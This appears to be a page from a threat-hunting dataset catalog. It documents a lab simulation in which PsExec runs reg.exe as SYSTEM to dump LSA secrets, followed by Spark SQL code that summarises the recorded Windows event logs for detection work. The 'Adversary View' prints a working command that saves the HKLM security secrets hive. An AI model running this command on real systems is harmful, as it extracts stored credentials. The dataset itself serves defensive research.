Psexec Reg LSA Secrets Dump¶

Metadata¶


Author	Roberto Rodriguez @Cyb3rWard0g
Creation Date	2020/10/19
Modification Date	2020/10/19
Tactics	[‘TA0006’]
Techniques	[‘T1003.004’]
Tags	[‘art.55295ab0-a703-433b-9ca4-ae13807de12f’]

Dataset Description¶

This dataset represents adversaries using psexec to run reg.exe as system and dump LSA secrets. Location HKLM\security\policy\secrets.

Datasets Downloads¶

Dataset Type	Link
Host	https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/credential_access/host/cmd_psexec_lsa_secrets_dump.zip

Notebooks¶

Notebooks created by the community leveraging the mordor datasets

Author	Name	Link

Simulation Plan¶

Environment	Tool Type	Module
Lab VM	Manual	Cmd

Adversary View¶

C:\Users\wardog\Downloads\PSTools>PsExec.exe -accepteula -s reg save HKLM\security\policy\secrets %temp%\secrets

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com


The operation completed successfully.
reg exited on WORKSTATION5 with error code 0.

C:\Users\wardog\Downloads\PSTools>

Explore Mordor Dataset¶

Initialize Analytics Engine¶

from openhunt.mordorutils import *
spark = get_spark()

Download & Process Mordor File¶

mordor_file = "https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/credential_access/host/cmd_psexec_lsa_secrets_dump.zip"
registerMordorSQLTable(spark, mordor_file, "mordorTable")

[+] Processing a Spark DataFrame..
[+] DataFrame Returned !
[+] Temporary SparkSQL View: mordorTable 

Get to know your data¶

df = spark.sql(
'''
SELECT Hostname,Channel,EventID, Count(*) as count
FROM mordorTable
GROUP BY Hostname,Channel,EventID
ORDER BY count DESC
'''
)
df.show(truncate=False)

+------------+------------------------------------+-------+-----+
|Hostname    |Channel                             |EventID|count|
+------------+------------------------------------+-------+-----+
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|7      |130  |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|10     |38   |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|13     |23   |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|12     |14   |
|WORKSTATION5|Security                            |4658   |8    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|18     |7    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|17     |7    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|11     |7    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|5      |4    |
|WORKSTATION5|Security                            |4690   |4    |
|WORKSTATION5|Security                            |4663   |4    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|1      |4    |
|WORKSTATION5|Security                            |5156   |4    |
|WORKSTATION5|Security                            |4703   |4    |
|WORKSTATION5|Security                            |4688   |4    |
|WORKSTATION5|Security                            |4656   |4    |
|WORKSTATION5|Security                            |4689   |4    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|9      |3    |
|WORKSTATION5|Security                            |5158   |3    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|3      |2    |
+------------+------------------------------------+-------+-----+
only showing top 20 rows

Empire Mimikatz Backup Keys UI Prompt For Credentials Function